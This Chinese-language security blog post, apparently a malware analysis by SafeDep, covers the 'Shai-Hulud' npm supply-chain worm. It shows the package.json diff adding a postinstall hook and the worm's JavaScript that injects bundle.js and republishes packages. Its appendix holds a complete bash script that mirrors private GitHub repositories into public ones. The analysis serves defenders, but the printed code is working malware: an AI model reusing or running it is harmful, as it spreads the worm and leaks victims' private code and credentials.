npm 供应链攻击暴露私有仓库、AWS 凭证等

目录

简述

npm 供应链攻击仍在持续。此次攻击针对 @ctrl/tinycolor 及多个其他 npm 软件包,植入凭证窃取恶意软件。在本博客中,我们将分析此次攻击及其对 npm 生态系统的影响。我们还将探讨针对维护者的常见攻击模式。

更新:除已提及的软件包外,发现以下新增软件包同样受到相同攻击模式影响。

最近我们观察到多起针对 npm 生态系统的高调软件供应链攻击:

这些攻击针对的软件包每周下载量合计超过 20 亿次。虽然这些攻击中使用的有效载荷技术 sophistication 水平存疑,但恶意行为者持续成功入侵广受欢迎的开源软件包,暴露了开源软件供应链的风险,尤其是对于发布专业软件软件开发团队而言。

然而,在这些攻击中可以观察到一些常见模式:

  1. 针对维护者的双因素认证(2FA)钓鱼攻击,如 eslint-config-prettier 事件 中所见
  2. 针对休眠软件包的维护者,如 ansi-style 事件 和今天的攻击中所见。

例如,@ctrl/tinycolor 已有一年多没有发布新版本了。

恶意有效载荷摘要

凭证收集:​

  • 使用 gh auth token 命令生成 GitHub 认证令牌
  • 从环境变量、配置文件、Web Identity Token 和 EC2 实例元数据服务(IMDS)中收集 AWS 凭证
  • 使用 TruffleHog 扫描本地文件系统以查找密钥和凭证
  • 将所有发现的凭证外泄到攻击者控制的 webhook.site URL

仓库入侵:​

  • 向可访问的已入侵用户的所有仓库注入恶意 GitHub Action 工作流
  • 复制私有仓库并将其公开,描述为 Shai-Hulud Migration
  • 在迁移过程中移除 .github/workflows 目录以避免被发现

自我传播蠕虫行为:​

  • .npmrc 文件中提取 npm 认证令牌
  • 识别已入侵用户具有维护者权限的 npm 软件包
  • 下载软件包 tarball,注入恶意 bundle.js 有效载荷,并添加 postinstall 脚本
  • 自动向 npm 注册表发布新的恶意版本软件包
  • 递增软件包版本号以确保恶意版本被视为更新

SafeDep 如何提供帮助?

保护 GitHub 仓库

为保护开发者社区免受 SafeDep 标记的恶意软件包侵害,我们构建了免费使用的 SafeDep GitHub App。可以零配置安装,它将扫描每个 pull request 以检测恶意软件包。

安装 SafeDep GitHub App

保护开发者环境

SafeDep 开源工具,特别是 vetpmg,可以帮助开发者防范恶意软件包和其他开源软件供应链攻击。

攻击过程

以下是由 Socket Security 公布受影响软件包版本列表:

技术分析

我们将使用 @ctrl/deluge@7.2.2 作为恶意样本进行分析。SafeDep 的自动化恶意软件包分析引擎基于 post-install 脚本和签名匹配 标记了此版本。

字段
软件包@ctrl/[email protected]
状态恶意
分析时间2025-09-15T20:14:35Z
来源https://registry.npmjs.org/@ctrl/deluge/-/deluge-7.2.2.tgz
SHA256bc18414929992e8e8d2211f9c51ebc7241294a1af3cfdbdd5ca417974b2dac0b

我们比较了 7.2.07.2.2 版本以识别恶意更改。明显的区别是软件包的大小。

diff
❯ du -sh * 12K deluge-7.2.0.tgz 2.0M deluge-7.2.2.tgz

随后,我们查看了 package.json 更改,并观察到恶意版本中引入了一个新的 postinstall 脚本。

diff
❯ diff -u package-7.2.0/package.json package-7.2.2/package.json --- package-7.2.0/package.json 1985-10-26 13:45:00 +++ package-7.2.2/package.json 2025-09-16 01:43:28 @@ -1,6 +1,6 @@ { "name": "@ctrl/deluge", - "version": "7.2.0", + "version": "7.2.2", "description": "TypeScript api wrapper for deluge using got", "author": "Scott Cooper <[email protected]>", "license": "MIT", @@ -25,7 +25,8 @@ "build:docs": "typedoc", "test": "vitest run", "test:watch": "vitest", - "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml" + "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml", + "postinstall": "node bundle.js" }, "dependencies": { "@ctrl/magnet-link": "^4.0.2", @@ -83,4 +84,4 @@ "importOrderSeparation": true, "importOrderSortSpecifiers": false } -} +}

查看 bundle.js 中的一些字符串,它似乎使用 webpack 进行打包。

javascript
/*! For license information please see bundle.js.LICENSE.txt */ import{createRequire as __WEBPACK_EXTERNAL_createRequire}from"node:module";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307 ,308])

有效载荷

bundle.js 中观察到的恶意有效载荷:

  • 使用当前用户的凭证通过 gh auth token 生成 GitHub 认证令牌
  • 包含一个嵌入式 bash 脚本,用于向认证用户的所有仓库注入恶意 GitHub Action 工作流
  • 包含一个嵌入式 bash 脚本,用于使用被入侵的 GitHub 令牌复制私有仓库并将其公开,描述为 Shai-Hulud Migration
  • 使用 Trufflehog 从本地文件系统中挖掘密钥并将其外泄到攻击者控制的 webhook.site URL
  • 从环境变量、本地配置文件、Web Identity Token 和 IMDS 端点收集 AWS 凭证

自我复制蠕虫行为

bundle.js 有效载荷具有自我复制蠕虫行为,可感染认证用户可访问的 npm 软件包。为此,有效载荷执行以下操作:

  • .npmrc 文件中查找被入侵用户的 npm 令牌
  • 调用 https://registry.npmjs.org/-/whoami 验证令牌并检索用户名
  • 搜索认证用户作为维护者可访问的软件包
  • 下载软件包 tarball,注入 bundle.js 有效载荷,并在 package.json 中添加 postinstall 脚本
  • 使用 npm publish ... 命令将软件包发布到认证用户的 npm 注册表

示例代码:

javascript
async searchPackages(t, r = 20) { const n = \`/-/v1/search?text=${encodeURIComponent(t)}&size=${r}\`, F = \`${this.baseUrl}${n}\`; try { const t = await fetch(F, { method: "GET", headers: this.getHeaders(!1) }); if (!t.ok) throw new Error(\`HTTP ${t.status}: ${t.statusText}\`); return (await t.json()).objects || [] } catch (t) { return console.error("Error searching packages:", t), [] } }

更新软件包以注入 bundle.js 并修改 package.json

javascript
async updatePackage(t) { try { const ie = await fetch(t.tarballUrl, { method: "GET", headers: { "User-Agent": this.userAgent, Accept: "*/*", "Accept-Encoding": "gzip, deflate, br" } }); // [...] try { await re.promises.writeFile(ce, se), await te(\`gzip -d -c ${ce} > ${le}\`), await te(\`tar -xf ${le} -C ${ae} package/package.json\`); const t = ne.join(ae, "package", "package.json"), r = await re.promises.readFile(t, "utf-8"), n = JSON.parse(r); if (n.version) { const t = n.version.split("."); if (3 === t.length) { const r = parseInt(t[0]), F = parseInt(t[1]), te = parseInt(t[2]); isNaN(te) || (n.version = \`${r}.${F}.${te+1}\`) } } n.scripts || (n.scripts = {}), n.scripts.postinstall = "node bundle.js", await re.promises.writeFile(t, JSON.stringify(n, null, 2)), await te(\`tar -uf ${le} -C ${ae} package/package.json\`); const F = process.argv[1]; if (F && await re.promises.access(F).then(() => !0).catch(() => !1)) { const t = ne.join(ae, "package", "bundle.js"), r = await re.promises.readFile(F); await re.promises.writeFile(t, r), await te(\`tar -uf ${le} -C ${ae} package/bundle.js\`) } await te(\`gzip -c ${le} > ${ue}\`), await te(\`npm publish ${ue}\`), await re.promises.rm(ae, { recursive: !0, force: !0 }) } catch (t) { // [...] } } catch (t) { throw new Error(\`Failed to update package: ${t}\`) } }

影响

在撰写本文时,至少有 650+ 个仓库似乎受到此次攻击影响,如 GitHub 搜索 所示。

入侵指标(IOC)

  • bundle.js SHA2 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
  • 描述为 Shai-Hulud Migration 的 GitHub 仓库 示例
  • hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7 的 HTTP 请求

附录

bundle.js 中手动提取的 shell 脚本,使用被入侵的 GitHub 令牌外泄私有仓库并将其公开,描述为 Shai-Hulud Migration

bash
#!/bin/bash #----------------------------------------------------------------------- # This script is designed to migrate all private and internal GitHub # repositories from a source organization to a target user's account. # # It performs the following actions: # 1. Fetches all non-archived private and internal repositories from the SOURCE_ORG. # 2. For each repository, it creates a new private repository under the TARGET_USER. # 3. It then mirrors the original repository to the new one. # 4. Crucially, it removes the .github/workflows directory during migration. # 5. After a successful migration, it makes the new repository PUBLIC. # # Usage: # ./migrate_script.sh <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN> # # Arguments: # SOURCE_ORG: The name of the GitHub organization to migrate from. # TARGET_USER: The GitHub username to migrate the repositories to. # GITHUB_TOKEN: A personal access token with 'repo' scope. #----------------------------------------------------------------------- SOURCE_ORG="" TARGET_USER="" GITHUB_TOKEN="" PER_PAGE=100 TEMP_DIR="" # --- Argument Validation --- if [[ $# -lt 3 ]]; then echo "Error: Missing arguments." echo "Usage: $0 <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>" exit 1 fi SOURCE_ORG="$1" TARGET_USER="$2" GITHUB_TOKEN="$3" if [[ -z "$SOURCE_ORG" || -z "$TARGET_USER" || -z "$GITHUB_TOKEN" ]]; then echo "Error: All three arguments are required." exit 1 fi # Create a temporary directory for cloning repositories TEMP_DIR="./temp$TARGET_USER" mkdir -p "$TEMP_DIR" TEMP_DIR=$(realpath "$TEMP_DIR") # --- Function to make authenticated GitHub API calls --- github_api() { local endpoint="$1" local method="${2:-GET}" local data="${3:-}" local curl_args=("-s" "-w" "%{http_code}" "-H" "Authorization: token $GITHUB_TOKEN" "-H" "Accept: application/vnd.github.v3+json") if [[ "$method" != "GET" ]]; then curl_args+=("-X" "$method") fi if [[ -n "$data" ]]; then curl_args+=("-H" "Content-Type: application/json" "-d" "$data") fi curl "${curl_args[@]}" "https://api.github.com$endpoint" } # --- Function to retrieve all repositories from an organization --- get_all_repos() { local org="$1" local page=1 local all_slugs="[]" while true; do local response response=$(github_api "/orgs/$org/repos?type=private,internal&per_page=$PER_PAGE&page=$page") local http_code="${response: -3}" local body="${response%???}" if ! echo "$body" | jq empty 2>/dev/null || ! echo "$body" | jq -e 'type == "array"' >/dev/null; then return 1 fi local repos_count repos_count=$(echo "$body" | jq length) if [[ "$repos_count" -eq 0 ]]; then break fi local page_slugs page_slugs=$(echo "$body" | jq '[.[] | select(.archived == false) | .full_name]') all_slugs=$(echo "$all_slugs" "$page_slugs" | jq -s 'add') ((page++)) done echo "$all_slugs" } # --- Function to create a new repository for the target user --- create_repo() { local repo_name="$1" local repo_data repo_data=$(cat <<EOF { "name": "$repo_name", "description": "Shai-Hulud Migration", "private": true, "has_issues": false, "has_projects": false, "has_wiki": false } EOF ) local response response=$(github_api "/user/repos" "POST" "$repo_data") local http_code="${response: -3}" local body="${response%???}" if echo "$body" | jq -e '.name' >/dev/null 2>&1; then return 0 else # Handle secondary rate limits by sleeping if [[ "$http_code" =~ ^4[0-9][0-9]$ ]] && echo "$body" | grep -qi "secondary rate"; then sleep 600 response=$(github_api "/user/repos" "POST" "$repo_data") http_code="${response: -3}" body="${response%???}" if echo "$body" | jq -e '.name' >/dev/null 2>&1; then return 0 fi fi return 1 fi } # --- Function to make a repository public --- make_repo_public() { local repo_name="$1" local repo_data repo_data=$(cat <<EOF { "private": false } EOF ) local response response=$(github_api "/repos/$TARGET_USER/$repo_name" "PATCH" "$repo_data") local http_code="${response: -3}" local body="${response%???}" if echo "$body" | jq -e '.private == false' >/dev/null 2>&1; then return 0 else return 1 fi } # --- Function to migrate a repository using git mirror --- migrate_repo() { local source_clone_url="$1" local target_clone_url="$2" local migration_name="$3" local repo_dir="$TEMP_DIR" if ! git clone --mirror "$source_clone_url" "$repo_dir/$migration_name" 2>/dev/null; then return 1 fi cd "$repo_dir/$migration_name" if ! git remote set-url origin "$target_clone_url" 2>/dev/null; then cd - >/dev/null return 1 fi # Temporarily convert to a regular repo to remove workflows git config --unset core.bare git reset --hard # Remove workflows directory and commit the change if [[ -d ".github/workflows" ]]; then rm -rf .github/workflows git add -A git commit -m "Remove GitHub workflows directory" fi # Convert back to a bare repo for mirroring git config core.bare true rm -rf * if ! git push --mirror 2>/dev/null; then cd - >/dev/null return 1 fi cd - >/dev/null rm -rf "$repo_dir/$migration_name" return 0 } # --- Function to process the list of repositories --- process_repositories() { local repos="$1" local total_repos total_repos=$(echo "$repos" | jq length) if [[ "$total_repos" -eq 0 ]]; then return 0 fi local success_count=0 local failure_count=0 for i in $(seq 0 $((total_repos - 1))); do local repo repo=$(echo "$repos" | jq -r ".[$i]") local migration_name="${repo//\//-}-migration" local auth_source_url="https://$GITHUB_TOKEN@github.com/$repo.git" local auth_target_url="https://$GITHUB_TOKEN@github.com/$TARGET_USER/$migration_name.git" echo "Migrating $repo to $TARGET_USER/$migration_name..." if create_repo "$migration_name"; then if migrate_repo "$auth_source_url" "$auth_target_url" "$migration_name"; then if make_repo_public "$migration_name"; then echo " -> Success: Migrated and made public." ((success_count++)) else # Still counts as a success if migration worked but public toggle failed echo " -> Warning: Migrated but failed to make public." ((success_count++)) fi else echo " -> Error: Migration failed." ((failure_count++)) fi else echo " -> Error: Could not create target repository." ((failure_count++)) fi done echo "-------------------------------------" echo "Migration Complete." echo "Successful: $success_count" echo "Failed: $failure_count" echo "-------------------------------------" return $failure_count } # --- Main execution block --- main() { # Check for required command-line tools for tool in curl jq git; do if ! command -v "$tool" &> /dev/null; then echo "Error: Required tool '$tool' is not installed." exit 1 fi done echo "Fetching repositories from $SOURCE_ORG..." local repos if ! repos=$(get_all_repos "$SOURCE_ORG"); then echo "Error: Failed to fetch repositories from $SOURCE_ORG." exit 1 fi process_repositories "$repos" } # Run main function with provided arguments main "$@"
  • npm
  • oss
  • malware
  • supply-chain

SafeDep 博客最新动态

关注以获取开源安全与工程的最新更新和见解